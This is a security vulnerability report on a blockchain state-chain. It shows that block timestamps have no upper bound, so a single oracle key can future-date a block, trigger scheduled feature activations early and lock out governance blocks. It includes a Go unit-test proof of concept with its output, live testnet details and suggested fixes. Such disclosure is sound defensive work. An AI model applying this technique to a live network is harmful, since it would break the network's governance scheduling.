statechain: block timestamps have no upper bound; the 1-of-1 oracle key can jump the governance clock, firing time-gated activations early and locking out real-time DAO blocks (High)
Report
Suggested severity: High (privilege escalation of the oracle role into consensus feature activation; permanent loss of time-based activation scheduling). Not Critical: no mint, no double spend, needs the oracle key.
Area: statechain/chain.go AddBlock (timestamp check), statechain/activations.go (ActiveAt on tip.Timestamp, requireFuture)
Version: master @ 9787859
Network: reproduced in a unit test; live testnet-0005 has the same configuration (see "Live context")
Summary
The only timestamp rule for a state-chain block is b.Timestamp >= c.tip.Timestamp (statechain/chain.go:148). There is no upper bound against wall clock anywhere on the ingestion paths (AddBlock, handleStateChain gossip, SubmitStateChainBlock, statechain sync).
Feature activation is evaluated against the tip's timestamp (FeatureActive → ActiveAt(feature, tip.Index, tip.Timestamp)), and docs/activations.md relies on oracle/heartbeat blocks to move that clock.
Oracle blocks (ops under sys.oracle.allowed_prefix, epoch.) are signed by the oracle keyset only, not the DAO keyset. So a holder of the oracle key, a role meant to write epoch records, can stamp one routine epoch.N block arbitrarily far in the future. Three things follow:
- Any pending time-gated activation fires immediately. This skips the T−14d lead, the freeze, and the readiness gate the DAO signed against.
- Every later block, DAO or oracle, must carry a timestamp ≥ the bogus value. Honest DAO blocks at real time are rejected with
timestamp ... is before previous .... - Time-based scheduling is permanently broken.
requireFuturecompares newnot_before_nsvalues against the (now bogus) block timestamp,sys.activationsentries cannot be removed or moved once fired, and there is no de-activation path by design.
Live context (testnet-0005, read from GET /statechain/kv)
sys.oracle={"keys":["927950037e5b…"], "threshold": 1, "allowed_prefix": "epoch."}: a single 1-of-1 key.- That key signs essentially every state-chain block (tip index 3775,
epoch.3775, one block about every 10 minutes); it is the heartbeat the activation procedure depends on. sys.activationsis not set on testnet today, so effect 1 is not exploitable live right now, but effects 2–3 apply as soon as anyone mis-stamps one block. An oracle host with a skewed clock is enough; no compromise is required.
Reproduce (unit test, own keys, no network)
statechain/poc_future_timestamp_test.go (below) builds a chain with a 2-of-2 DAO keyset, a 1-of-1 oracle on epoch., and sys.tokenomics copied verbatim from testnet-0005. Then:
- A DAO block schedules
noopwithnot_before_ns = now + 30 days.FeatureActive("noop") == false. - An oracle-only block writes
epoch.0with field values identical to liveepoch.3775andTimestamp = now + 100 years. Accepted. FeatureActive("noop") == true, about 30 days early.- A DAO block at real time is rejected.
=== RUN TestPoC_OracleFutureTimestamp
after DAO block: noop active=false (scheduled for 2026-11-24T15:26:28Z)
oracle block stamped 2126-10-01T15:26:28Z ACCEPTED
noop active=true immediately, ~30 days before its not_before_ns
DAO block at real time REJECTED: timestamp 1792941988199372600 is before previous 4946541988198861100
--- PASS: TestPoC_OracleFutureTimestamp (0.00s)
Run: GOTOOLCHAIN=go1.25.0 go test ./statechain/ -run TestPoC_OracleFutureTimestamp -v
<details><summary>poc_future_timestamp_test.go</summary>
package statechain_test
import (
"crypto/ed25519"
"crypto/rand"
"encoding/hex"
"encoding/json"
"testing"
"time"
"github.com/xeprotocol/xe/statechain"
"github.com/xeprotocol/xe/store"
)
type signer struct {
pub string
priv ed25519.PrivateKey
}
func newSigner(t *testing.T) signer {
pub, priv, err := ed25519.GenerateKey(rand.Reader)
if err != nil {
t.Fatal(err)
}
return signer{pub: hex.EncodeToString(pub), priv: priv}
}
func mustJSON(t *testing.T, v any) json.RawMessage {
b, err := json.Marshal(v)
if err != nil {
t.Fatal(err)
}
return b
}
func sealBlock(t *testing.T, b *statechain.Block, signers ...signer) *statechain.Block {
h, err := statechain.HashBlock(b)
if err != nil {
t.Fatal(err)
}
b.Hash = h
for _, s := range signers {
sig, err := statechain.SignBlock(b, s.priv)
if err != nil {
t.Fatal(err)
}
b.Signatures = append(b.Signatures, sig)
}
return b
}
// PoC: a state-chain block's timestamp has no upper bound. The 1-of-1 oracle
// key (scoped to "epoch.") can stamp its routine epoch block far in the future,
// which (1) fires a pending time-gated activation immediately and (2) forces
// every later DAO block to carry a timestamp >= the bogus value.
func TestPoC_OracleFutureTimestamp(t *testing.T) {
dao1, dao2, oracle := newSigner(t), newSigner(t), newSigner(t)
genesis := &statechain.Block{
Index: 0,
PrevHash: "0000000000000000000000000000000000000000000000000000000000000000",
Ops: []statechain.Op{
{Action: statechain.ActionSet, Key: "sys.dao_keyset", Value: mustJSON(t, statechain.DAOKeyset{Keys: []string{dao1.pub, dao2.pub}, Threshold: 2})},
{Action: statechain.ActionSet, Key: "sys.phase", Value: mustJSON(t, uint8(1))},
{Action: statechain.ActionSet, Key: "sys.oracle", Value: mustJSON(t, map[string]any{"keys": []string{oracle.pub}, "threshold": 1, "allowed_prefix": "epoch."})},
// sys.tokenomics copied verbatim from testnet-0005 (GET /statechain/kv/sys.tokenomics)
{Action: statechain.ActionSet, Key: "sys.tokenomics", Value: json.RawMessage(`{"r_init":2000,"r_floor":100,"v_half":500000000,"price_tier_1":500,"price_tier_2":1010,"price_tier_3":10000,"r_price_floor_tier_1":2000,"r_price_floor_tier_2":1250,"r_collusion_factor_milli":950,"hermite_fdv_min_usd":5000000,"hermite_fdv_max_usd":1000000000,"hermite_ceiling_milli":1550,"hermite_floor_milli":1120}`)},
},
Signatures: []statechain.BlockSignature{},
}
genesis = sealBlock(t, genesis)
chain, err := statechain.NewChain(store.NewMemStore(), genesis)
if err != nil {
t.Fatalf("NewChain: %v", err)
}
now := time.Now().UnixNano()
notBefore := now + int64(30*24*time.Hour) // DAO schedules "noop" 30 days out
// Block 1 (DAO, 2-of-2): schedule an activation 30 days in the future.
b1 := sealBlock(t, &statechain.Block{
Index: 1, PrevHash: chain.Tip().Hash, Timestamp: now,
Ops: []statechain.Op{{Action: statechain.ActionSet, Key: "sys.activations",
Value: mustJSON(t, map[string]any{"features": map[string]any{"noop": map[string]any{"not_before_ns": notBefore}}})}},
}, dao1, dao2)
if err := chain.AddBlock(b1); err != nil {
t.Fatalf("DAO activation block rejected: %v", err)
}
if chain.FeatureActive("noop") {
t.Fatal("noop should not be active yet")
}
t.Logf("after DAO block: noop active=%v (scheduled for %s)", chain.FeatureActive("noop"), time.Unix(0, notBefore).UTC().Format(time.RFC3339))
// Block 2 (oracle, 1-of-1): an ordinary epoch write, stamped +100 years.
future := now + int64(100*365*24*time.Hour)
// Same field values as live epoch.3775 on testnet-0005; only the window moves.
epoch := statechain.EpochValue{Epoch: 0, StartNS: now - int64(10*time.Minute), EndNS: now,
TWAPMilliUSD: 250, RVolume: 2000, RPriceFloor: 2000, RCollusion: 3800, REffective: 2000,
RSource: "tied", Phase: 1, PayoutCap: 1527}
b2 := sealBlock(t, &statechain.Block{
Index: 2, PrevHash: chain.Tip().Hash, Timestamp: future,
Ops: []statechain.Op{{Action: statechain.ActionSet, Key: "epoch.0", Value: mustJSON(t, epoch)}},
}, oracle)
if err := chain.AddBlock(b2); err != nil {
t.Fatalf("oracle block with +100y timestamp was REJECTED (no bug): %v", err)
}
t.Logf("oracle block stamped %s ACCEPTED", time.Unix(0, future).UTC().Format(time.RFC3339))
if !chain.FeatureActive("noop") {
t.Fatal("expected noop to be active after the future-stamped oracle block")
}
t.Logf("noop active=%v immediately, ~30 days before its not_before_ns", chain.FeatureActive("noop"))
// Block 3 (DAO, 2-of-2): a normal governance write at the real current time.
b3 := sealBlock(t, &statechain.Block{
Index: 3, PrevHash: chain.Tip().Hash, Timestamp: time.Now().UnixNano(),
Ops: []statechain.Op{{Action: statechain.ActionSet, Key: "config.example", Value: mustJSON(t, 1)}},
}, dao1, dao2)
err = chain.AddBlock(b3)
if err == nil {
t.Fatal("expected DAO block at real time to be rejected")
}
t.Logf("DAO block at real time REJECTED: %v", err)
}
</details>
Suggested fixes
- Reject state-chain blocks with
Timestamp > now + maxFutureSkew(e.g. 2–5 minutes) atAddBlock, before signature checks. Apply it on gossip, API submit and sync. Sync of historical blocks is unaffected because those are in the past. - Do not let oracle-only blocks advance the clock used for activations. Either evaluate
not_before_nsagainst the timestamp of the last DAO-signed block, or require the DAO heartbeat block the procedure already describes. - Optionally bound
Timestamp - tip.Timestampper block (e.g. ≤ 1 day) so a single bad stamp cannot jump decades. - Consider raising the oracle keyset above 1-of-1 before mainnet, since that key currently drives the state-chain clock alone.
Payout address: ead8ad792b4452de17e897155ed6efe9f928d0c8b07bdf6a9cbf4f4d67941dd2
Thread
Still reproduces at HEAD 89a542e (testnet-0005, 2026-11-10).
Chain.AddBlock (statechain/chain.go:148-150) still only checks monotonicity — no wall-clock upper bound on statechain intake.
PoC (local go test, TestPOCAreaB_XE0037_FutureDatedActivation): a DAO block stamped ~10y in the future activates testfeature immediately, and the subsequent real-time block is then rejected as before its predecessor.